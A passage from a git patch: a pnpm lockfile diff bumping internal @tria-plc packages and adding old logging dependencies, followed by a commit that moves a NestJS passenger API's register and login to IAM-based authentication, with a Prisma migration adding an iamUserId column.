sha512-lm9esp5PDxUyggqxYXbx2CQhZKwtcAaAcGFuuUURw3u5DlzGUNwMOFkQkDLM/fbgN+33+s1RKC7UynnG9NZFww==, tarball: https://npm.pkg.github.com/download/@tria-plc/api-common/0.1.4/de160e4bb61a882efd9c877b4614028f1ffd7cb8} + '@tria-plc/api-common@1.2.3': + resolution: {integrity: sha512-J30YmV/IAZjoQAB8o0yvisUwhclOWDdkqmLfVpvRc142Cv4nFnpynms+rO6IXSWwqI8bXRJg4qa+XauUrwzu5A==, tarball: https://npm.pkg.github.com/download/@tria-plc/api-common/1.2.3/7910a45187963d4a40ac0f7a6ab802fc974b708e} peerDependencies: '@nestjs/common': ^11.0.0 '@nestjs/core': ^11.0.0 @@ -1408,13 +1408,13 @@ packages: '@nestjs/swagger': ^11.0.0 '@nestjs/throttler': ^6.0.0 '@nestjs/typeorm': ^11.0.0 - '@tria-plc/iamapi-common': '*' + '@tria-plc/iamapi-common': ^0.1.0 reflect-metadata: ^0.2.0 rxjs: ^7.8.0 typeorm: ^0.3.0 - '@tria-plc/iamapi-common@0.1.6': - resolution: {integrity: sha512-qaCLZ1TgbcQ5XciRuA/aZjRCM/GmGYgcmsyDDIlhiMNw3FL3DCiR/QiFuQpERvV4FqgQNBJg66+S/jXO3I2jbw==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.1.6/e2a8f3357b650bb9477facae4aaa7044382acebf} + '@tria-plc/iamapi-common@0.4.1': + resolution: {integrity: sha512-DnO9bCBGpo6wRt39zXzWuJG99qZ9yCy1x1DQOAs48G5Z9wwv/EYILXpb5dkoq/oV+c4If0UYSlKMnWQCv9RhVA==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.4.1/78c88f7322f9cb84a38941d94d1494b5ce6e2ddf} engines: {node: '>=20'} peerDependencies: '@nestjs/axios': ^4.0.0 @@ -1426,7 +1426,7 @@ packages: '@nestjs/swagger': ^11.0.0 '@nestjs/throttler': ^6.0.0 '@nestjs/typeorm': ^11.0.0 - '@tria-plc/api-common': ^0.1.0 + '@tria-plc/api-common': '*' axios: ^1.9.0 class-transformer: ^0.5.1 class-validator: ^0.14.1 @@ -2128,6 +2128,9 @@ packages: resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} engines: {node: '>= 8'} + api-common@1.2.2: + resolution: {integrity: sha512-2A3NpFNlOOvPY8Vq+g8Pokj6PdMk8fJpg58JpI/QuSXeB9JrS4YbRgzdexPBnJIUCNDHnjr+7S1vOsRRctHzyw==} + app-root-path@3.1.0: resolution: {integrity: sha512-biN3PwB2gUtjaYy/isrU3aNWI5w+fAfvHkSvCKeQGxhmYpwKFUxudR3Yya+KqVRHBmEDYh+/lTozYCFbmzX4nA==} engines: {node: '>= 6.0.0'} @@ -2247,6 +2250,9 @@ packages: resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==} engines: {node: '>= 0.4'} + async@2.6.4: + resolution: {integrity: sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==} + async@3.2.6: resolution: {integrity: sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==} @@ -2601,6 +2607,10 @@ packages: colorette@2.0.20: resolution: {integrity: sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==} + colors@1.0.3: + resolution: {integrity: sha512-pFGrxThWcWQ2MsAz6RtgeWe4NK2kUE1WfsrvvlctdII745EW9I0yflqhe7++M5LEc7bV2c/9/5zc8sFcpL0Drw==} + engines: {node: '>=0.1.90'} + combined-stream@1.0.8: resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} engines: {node: '>= 0.8'} @@ -2763,6 +2773,10 @@ packages: csstype@3.2.3: resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + cycle@1.0.3: + resolution: {integrity: sha512-TVF6svNzeQCOpjCqsy0/CSy8VgObG3wXusJ73xW2GbG5rGx7lC8zxDSURicsXI2UsGdi2L0QNRCi745/wUDvsA==} + engines: {node: '>=0.4.0'} + d3-array@3.2.4: resolution: {integrity: sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==} engines: {node: '>=12'} @@ -3080,6 +3094,12 @@ packages: resolution: {integrity: sha512-VyjaKxUmeDX/m2lxm/aknsJ1GWDWUO2Ze2Ad8S1Pb9dykAm9TjSKp5CjrNyltYqZ5W/PO6TInAmO2/BfwMyT1g==} engines: {node: '>=0.10.0'} + error-tojson@0.0.1: + resolution: {integrity: sha512-zhtlVKgW0CgzltibgAlgi6oljh7L8k7jo61NuATFXodGMI2aiqAusW5FaiAtMcT8OLzdPkfhqh34I2XjxPI+Aw==} + + errors@0.3.0: + resolution: {integrity: sha512-/4VTzspBdKkY8DE7VnjGYdHaSZdnQqQyOwYv3o2lwaKLhTvQmVATmoUCvFIFLVrn5kJqDHZl5ZltOu1Bit8rvg==} + es-abstract@1.24.2: resolution: {integrity: sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg==} engines: {node: '>= 0.4'} @@ -3336,6 +3356,10 @@ packages: resolution: {integrity: sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==} engines: {node: '>=0.10.0'} + eyes@0.1.8: + resolution: {integrity: sha512-GipyPsXO1anza0AOZdy69Im7hGFCNB7Y/NGjDlZGJ3GJJLtwNSb2vrzYrTYJRrRloVx7pl+bhUaTB8yiccPvFQ==} + engines: {node: '> 0.1.90'} + falsey@0.3.2: resolution: {integrity: sha512-lxEuefF5MBIVDmE6XeqCdM4BWk1+vYmGZtkbKZ/VFcg6uBBw6fXNEbWmxCjDdQlFc9hy450nkiWwM3VAW6G1qg==} engines: {node: '>=0.10.0'} @@ -4072,6 +4096,9 @@ packages: resolution: {integrity: sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==} engines: {node: '>=0.10.0'} + isstream@0.1.2: + resolution: {integrity: sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==} + istanbul-lib-coverage@3.2.2: resolution: {integrity: sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==} engines: {node: '>=8'} @@ -4347,6 +4374,9 @@ packages: jws@4.0.1: resolution: {integrity: sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==} + jwt-decode@2.2.0: + resolution: {integrity: sha512-86GgN2vzfUu7m9Wcj63iUkuDzFNYFVmjeDm2GzWpUk+opB0pEpMsw6ePCMrhYkumz2C1ihqtZzOMAg7FiXcNoQ==} + keyv@4.5.4: resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} @@ -4703,6 +4733,9 @@ packages: resolution: {integrity: sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==} engines: {node: '>=16 || 14 >=14.17'} + minimist@0.0.8: + resolution: {integrity: sha512-miQKw5Hv4NS1Psg2517mV4e4dYNaO3++hjAvLOAzKqZ61rH8NS1SK+vbfBWZ5PY/Me/bEWhUwqMghEW5Fb9T7Q==} + minimist@1.2.8: resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} @@ -4730,6 +4763,11 @@ packages: resolution: {integrity: sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==} engines: {node: '>=0.10.0'} + mkdirp@0.5.1: + resolution: {integrity: sha512-SknJC52obPfGQPnjIkXbmA6+5H15E+fR+E4iR2oQ3zzCLbd7/ONua69R/Gw7AgkTLsRG+r5fzksYwWe1AgTyWA==} + deprecated: Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.) + hasBin: true + mkdirp@0.5.6: resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==} hasBin: true @@ -5137,6 +5175,10 @@ packages: pkg-types@2.3.1: resolution: {integrity: sha512-y+ichcgc2LrADuhLNAx8DFjVfgz91pRxfZdI3UDhxHvcVEZsenLO+7XaU5vOp0u/7V/wZ+plyuQxtrDlZJ+yeg==} + pkginfo@0.4.1: + resolution: {integrity: sha512-8xCNE/aT/EXKenuMDZ+xTVwkT8gsoHN2z/Q29l80u0ppGEXVvsKRzNMbtKhg8LS8k1tJLAHHylf6p4VFmP6XUQ==} + engines: {node: '>= 0.4.0'} + pluralize@8.0.0: resolution: {integrity: sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==} engines: {node: '>=4'} @@ -5601,6 +5643,9 @@ packages: resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} engines: {node: '>=8'} + short-id-gen@1.1.2: + resolution: {integrity: sha512-rIxGIHcAhbf8jCgB6LYTeFC8jXffu4m0g+SXTljxGLkNhlMAq4jgQYPxvURtIX+tyqAx8YXuuh7j1qDVxJSZIA==} + side-channel-list@1.0.1: resolution: {integrity: sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==} engines: {node: '>= 0.4'} @@ -5711,6 +5756,9 @@ packages: stable-hash@0.0.5: resolution: {integrity: sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA==} + stack-trace@0.0.10: + resolution: {integrity: sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==} + stack-utils@2.0.6: resolution: {integrity: sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==} engines: {node: '>=10'} @@ -6397,6 +6445,15 @@ packages: wide-align@1.1.5: resolution: {integrity: sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==} + winston-daily-rotate-file@1.7.2: + resolution: {integrity: sha512-bUkpSyWuDZVD2L7Ci/JrH09sIeqpwhQvmDrIAJ9PhUaewIbv9FTDTCvFnE2AFIIfDcTm7+AKiEKK4EP5lRL3fg==} + peerDependencies: + winston: 2.x + + winston@2.4.7: + resolution: {integrity: sha512-vLB4BqzCKDnnZH9PHGoS2ycawueX4HLqENXQitvFHczhgW2vFpSOn31LZtVr1KU8YTw7DS4tM+cqyovxo8taVg==} + engines: {node: '>= 0.10.0'} + wmf@1.0.2: resolution: {integrity: sha512-/p9K7bEh0Dj6WbXg4JG0xvLQmIadrner1bi45VMJTfnbVHsc7yIajZyoSoK60/dtVBs12Fm6WkUI5/3WAVsNMw==} engines: {node: '>=0.8'} @@ -7690,7 +7747,7 @@ snapshots: '@tokenizer/token@0.3.0': {} - '@tria-plc/api-common@0.1.4(296a75716ddf658d3d4f5879ef7db3cb)': + '@tria-plc/api-common@1.2.3(82de1fa22df14d2f8c974e73e7d5a000)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7701,7 +7758,7 @@ snapshots: '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) - '@tria-plc/iamapi-common': 0.1.6(efb6e02fa9b4108b3ff4c3ae477b6dad) + '@tria-plc/iamapi-common': 0.4.1(c31a38bece4d321b4fae6a2e7e5e96b1) argon2: 0.43.1 axios: 1.16.1 change-case: 5.4.4 @@ -7734,7 +7791,7 @@ snapshots: - debug - supports-color - '@tria-plc/iamapi-common@0.1.6(efb6e02fa9b4108b3ff4c3ae477b6dad)': + '@tria-plc/iamapi-common@0.4.1(c31a38bece4d321b4fae6a2e7e5e96b1)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7745,7 +7802,8 @@ snapshots: '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) - '@tria-plc/api-common': 0.1.4(296a75716ddf658d3d4f5879ef7db3cb) + '@tria-plc/api-common': 1.2.3(82de1fa22df14d2f8c974e73e7d5a000) + api-common: 1.2.2 argon2: 0.43.1 axios: 1.16.1 class-transformer: 0.5.1 @@ -8495,6 +8553,17 @@ snapshots: normalize-path: 3.0.0 picomatch: 2.3.2 + api-common@1.2.2: + dependencies: + error-tojson: 0.0.1 + errors: 0.3.0 + jwt-decode: 2.2.0 + moment: 2.30.1 + pkginfo: 0.4.1 + short-id-gen: 1.1.2 + winston: 2.4.7 + winston-daily-rotate-file: 1.7.2(winston@2.4.7) + app-root-path@3.1.0: {} append-field@1.0.0: {} @@ -8653,6 +8722,10 @@ snapshots: async-function@1.0.0: {} + async@2.6.4: + dependencies: + lodash: 4.18.1 + async@3.2.6: {} asynckit@0.4.0: {} @@ -9071,6 +9144,8 @@ snapshots: colorette@2.0.20: {} + colors@1.0.3: {} + combined-stream@1.0.8: dependencies: delayed-stream: 1.0.0 @@ -9228,6 +9303,8 @@ snapshots: csstype@3.2.3: {} + cycle@1.0.3: {} + d3-array@3.2.4: dependencies: internmap: 2.0.3 @@ -9490,6 +9567,10 @@ snapshots: error-symbol@0.1.0: {} + error-tojson@0.0.1: {} + + errors@0.3.0: {} + es-abstract@1.24.2: dependencies: array-buffer-byte-length: 1.0.2 @@ -9949,6 +10030,8 @@ snapshots: transitivePeerDependencies: - supports-color + eyes@0.1.8: {} + falsey@0.3.2: dependencies: kind-of: 5.1.0 @@ -10719,6 +10802,8 @@ snapshots: isobject@3.0.1: {} + isstream@0.1.2: {} + istanbul-lib-coverage@3.2.2: {} istanbul-lib-instrument@5.2.1: @@ -11215,6 +11300,8 @@ snapshots: jwa: 2.0.1 safe-buffer: 5.2.1 + jwt-decode@2.2.0: {} + keyv@4.5.4: dependencies: json-buffer: 3.0.1 @@ -11545,6 +11632,8 @@ snapshots: dependencies: brace-expansion: 2.1.0 + minimist@0.0.8: {} + minimist@1.2.8: {} minio@7.1.3: @@ -11582,6 +11671,10 @@ snapshots: for-in: 1.0.2 is-extendable: 1.0.1 + mkdirp@0.5.1: + dependencies: + minimist: 0.0.8 + mkdirp@0.5.6: dependencies: minimist: 1.2.8 @@ -11990,6 +12083,8 @@ snapshots: exsolve: 1.0.8 pathe: 2.0.3 + pkginfo@0.4.1: {} + pluralize@8.0.0: {} pngjs@5.0.0: {} @@ -12481,6 +12576,8 @@ snapshots: shebang-regex@3.0.0: {} + short-id-gen@1.1.2: {} + side-channel-list@1.0.1: dependencies: es-errors: 1.3.0 @@ -12598,6 +12695,8 @@ snapshots: stable-hash@0.0.5: {} + stack-trace@0.0.10: {} + stack-utils@2.0.6: dependencies: escape-string-regexp: 2.0.0 @@ -13376,6 +13475,20 @@ snapshots: dependencies: string-width: 4.2.3 + winston-daily-rotate-file@1.7.2(winston@2.4.7): + dependencies: + mkdirp: 0.5.1 + winston: 2.4.7 + + winston@2.4.7: + dependencies: + async: 2.6.4 + colors: 1.0.3 + cycle: 1.0.3 + eyes: 0.1.8 + isstream: 0.1.2 + stack-trace: 0.0.10 + wmf@1.0.2: {} word-wrap@1.2.5: {} From d06debf1ca085aa5ec54ce5765dc1a245916a9ec Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Sat, 6 Jun 2026 08:29:26 +0300 Subject: [PATCH 03/51] =?UTF-8?q?feat(=20iam=20):=20integrate=20IAM=20for?= =?UTF-8?q?=20auth=20=E2=80=94=20register,=20login,=20lazy=20provisioning?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- apps/edr-passenger-api/package.json | 4 +- .../migration.sql | 14 + apps/edr-passenger-api/prisma/schema.prisma | 4 + apps/edr-passenger-api/src/app.module.ts | 8 +- .../session-activity.interceptor.ts | 4 +- .../src/modules/auth/auth.controller.ts | 213 ++----- .../src/modules/auth/auth.dto.ts | 27 +- .../src/modules/auth/auth.module.ts | 3 +- .../modules/auth/passenger-auth.service.ts | 217 +++++++ pnpm-lock.yaml | 594 +++++++++++++++++- 10 files changed, 874 insertions(+), 214 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260606000000_add_iam_user_id_to_passenger/migration.sql create mode 100644 apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index f33ae399e..4b9abe2d0 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -35,9 +35,10 @@ "@nestjs/schedule": "^6.1.3", "@nestjs/swagger": "^7.4.0", "@nestjs/typeorm": "^11.0.1", + "@prisma/client": "^6.19.3", "@sendgrid/mail": "^8.1.0", "@tria-plc/api-common": "1.2.3", - "@tria-plc/iamapi-common": "^0.4.1", + "@tria-plc/iamapi-common": "^0.4.2", "amqp-connection-manager": "^5.0.0", "amqplib": "^2.0.1", "axios": "^1.7.7", @@ -54,7 +55,6 @@ "rxjs": "^7.8.1", "swagger-ui-express": "^5.0.0", "tsconfig-paths": "^4.2.0", - "@prisma/client": "^6.19.3", "typeorm": "^0.3.30" }, "devDependencies": { diff --git a/apps/edr-passenger-api/prisma/migrations/20260606000000_add_iam_user_id_to_passenger/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260606000000_add_iam_user_id_to_passenger/migration.sql new file mode 100644 index 000000000..9ccd3d52e --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260606000000_add_iam_user_id_to_passenger/migration.sql @@ -0,0 +1,14 @@ +-- AddColumn: iamUserId to Passenger (cross-schema reference to iam.users — no FK enforced) +ALTER TABLE "passenger"."Passenger" ADD COLUMN "iamUserId" TEXT; + +-- Unique constraint: one IAM user maps to exactly one Passenger +ALTER TABLE "passenger"."Passenger" ADD CONSTRAINT "Passenger_iamUserId_key" UNIQUE ("iamUserId"); + +-- Index for fast lookup by iamUserId on every protected request +CREATE INDEX "Passenger_iamUserId_idx" ON "passenger"."Passenger"("iamUserId"); + +-- AddColumn: iamUserId to FaydaVerificationSession (no FK — cross-schema reference to iam.users) +ALTER TABLE "passenger"."FaydaVerificationSession" ADD COLUMN "iamUserId" TEXT; + +-- Index for Fayda callback to resolve IAM user +CREATE INDEX "FaydaVerificationSession_iamUserId_idx" ON "passenger"."FaydaVerificationSession"("iamUserId"); diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index cee8dfee2..0ce2f3e40 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -259,6 +259,7 @@ model Session { model Passenger { id String @id @default(uuid()) userId String @unique + iamUserId String? @unique defaultTravelerProfileId String? preferredLanguage String? createdAt DateTime @default(now()) @@ -270,6 +271,7 @@ model Passenger { travelerProfiles TravelerProfile[] savedRoutes SavedRoute[] @@index([userId]) + @@index([iamUserId]) @@schema("passenger") } @@ -1285,11 +1287,13 @@ model FaydaVerificationSession { completedAt DateTime? userId String? + iamUserId String? bookingId String? user User? @relation(fields: [userId], references: [id], onDelete: Cascade) @@index([userId]) + @@index([iamUserId]) @@index([bookingId]) @@index([state]) @@index([expiresAt]) diff --git a/apps/edr-passenger-api/src/app.module.ts b/apps/edr-passenger-api/src/app.module.ts index aa476f1c8..06ee76c62 100644 --- a/apps/edr-passenger-api/src/app.module.ts +++ b/apps/edr-passenger-api/src/app.module.ts @@ -47,6 +47,7 @@ import { FraudModule } from './modules/fraud/fraud.module'; import { SeatClassesModule } from './modules/seat-classes/seat-classes.module'; import { FareEngineModule } from './modules/fare-engine/fare-engine.module'; import { VerifaydaModule } from './modules/verifayda/verifayda.module'; +import {AuthModule} from "@/modules/auth/auth.module"; @Module({ imports: [ @@ -74,6 +75,7 @@ import { VerifaydaModule } from './modules/verifayda/verifayda.module'; TriaIamModule.forRoot(), PrismaModule, I18nModule, + AuthModule, StationsModule, FleetModule, SchedulesModule, @@ -107,7 +109,11 @@ export class AppModule implements OnApplicationBootstrap { ) { } async onApplicationBootstrap() { - await this.seeder.run(); + try { + await this.seeder.run(); + } catch (err) { + console.error('[DataSeeder] Seed failed (non-fatal during IAM migration phase):', (err as Error).message); + } // await this.edrOrgSeeder.run(); // await this.demoUsersSeeder.run(); } diff --git a/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts b/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts index 9c962ba60..7bd8da56e 100644 --- a/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts +++ b/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts @@ -20,9 +20,9 @@ export class SessionActivityInterceptor implements NestInterceptor { const response = context.switchToHttp().getResponse(); const user = request.user; - if (user?.userId) { + if (user?.id) { const session = await this.prisma.session.findFirst({ - where: { userId: user.userId }, + where: { userId: user.id }, orderBy: { lastActivityAt: 'desc' }, }); diff --git a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts index 4d091656f..58350202b 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts @@ -1,82 +1,62 @@ import { Body, Controller, Post, HttpCode, HttpStatus, UseGuards, Get, Request, UnauthorizedException } from '@nestjs/common'; import { ApiTags, ApiOperation, ApiResponse, ApiBody, ApiBearerAuth } from '@nestjs/swagger'; import { AuthService } from './auth.service'; +import { PassengerAuthService } from './passenger-auth.service'; import { RegisterDto, LoginDto, RequestOtpDto, VerifyOtpDto, RequestPasswordResetDto, ResetPasswordDto } from './auth.dto'; import { JwtGuard } from '../../common/jwt.guard'; @ApiTags('Auth') @Controller('auth') export class AuthController { - constructor(private service: AuthService) {} + constructor( + private service: AuthService, + private passengerAuthService: PassengerAuthService, + ) {} @Post('register') - @ApiOperation({ - summary: 'Register new passenger account', - description: 'Create a new passenger account with email, phone, and password. Returns user details and JWT token for immediate login.' - }) - @ApiResponse({ status: 201, description: 'Account created successfully. Returns user object and JWT token.' }) - @ApiResponse({ status: 400, description: 'Validation error (invalid email, weak password, etc.)' }) + @ApiOperation({ summary: 'Register new passenger account' }) + @ApiResponse({ status: 201, description: 'Account created. Returns token + user.' }) @ApiResponse({ status: 409, description: 'Email or phone already registered' }) @ApiBody({ type: RegisterDto }) - register(@Body() dto: RegisterDto) { return this.service.register(dto); } + register(@Request() req: any, @Body() dto: RegisterDto) { + return this.passengerAuthService.register(dto, req); + } @Post('login') @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Login with email and password', - description: 'Authenticate user and receive JWT token. Token expires in 7 days by default. Failed login attempts are tracked and account may be locked after 5 consecutive failures.' - }) - @ApiResponse({ status: 200, description: 'Login successful. Returns JWT token and user details.' }) - @ApiResponse({ status: 401, description: 'Invalid credentials or account locked' }) - @ApiResponse({ status: 403, description: 'Account temporarily blocked due to fraud detection' }) + @ApiOperation({ summary: 'Login with email and password' }) + @ApiResponse({ status: 200, description: 'Login successful. Returns token + passengerId.' }) + @ApiResponse({ status: 401, description: 'Invalid credentials' }) @ApiBody({ type: LoginDto }) - login(@Body() dto: LoginDto) { return this.service.login(dto); } + login(@Request() req: any, @Body() dto: LoginDto) { + return this.passengerAuthService.login(dto, req); + } @Post('otp/request') @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Request OTP verification code', - description: 'Send a 6-digit OTP code to user email. Code expires in 10 minutes. Used for registration verification, password reset, or two-factor authentication.' - }) - @ApiResponse({ status: 200, description: 'OTP sent successfully to email' }) - @ApiResponse({ status: 404, description: 'Email not found (for PASSWORD_RESET purpose)' }) - @ApiResponse({ status: 429, description: 'Too many OTP requests. Please wait before requesting again.' }) + @ApiOperation({ summary: 'Request OTP verification code' }) + @ApiResponse({ status: 200, description: 'OTP sent successfully' }) @ApiBody({ type: RequestOtpDto }) requestOtp(@Body() dto: RequestOtpDto) { return this.service.requestOtp(dto); } @Post('otp/verify') @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Verify OTP code', - description: 'Validate the 6-digit OTP code sent to user email. Code must match and not be expired.' - }) + @ApiOperation({ summary: 'Verify OTP code' }) @ApiResponse({ status: 200, description: 'OTP verified successfully' }) - @ApiResponse({ status: 400, description: 'Invalid or expired OTP code' }) - @ApiResponse({ status: 404, description: 'No OTP found for this email and purpose' }) @ApiBody({ type: VerifyOtpDto }) verifyOtp(@Body() dto: VerifyOtpDto) { return this.service.verifyOtp(dto); } @Post('password/reset-request') @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Request password reset link', - description: 'Send password reset link to user email. Link contains a secure token valid for 1 hour.' - }) - @ApiResponse({ status: 200, description: 'Password reset email sent successfully' }) - @ApiResponse({ status: 404, description: 'Email not found' }) - @ApiResponse({ status: 429, description: 'Too many reset requests. Please wait before trying again.' }) + @ApiOperation({ summary: 'Request password reset link' }) + @ApiResponse({ status: 200, description: 'Password reset email sent' }) @ApiBody({ type: RequestPasswordResetDto }) requestPasswordReset(@Body() dto: RequestPasswordResetDto) { return this.service.requestPasswordReset(dto); } @Post('password/reset') @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Reset password with token', - description: 'Reset user password using the token received via email. Token is single-use and expires after 1 hour.' - }) + @ApiOperation({ summary: 'Reset password with token' }) @ApiResponse({ status: 200, description: 'Password reset successfully' }) - @ApiResponse({ status: 400, description: 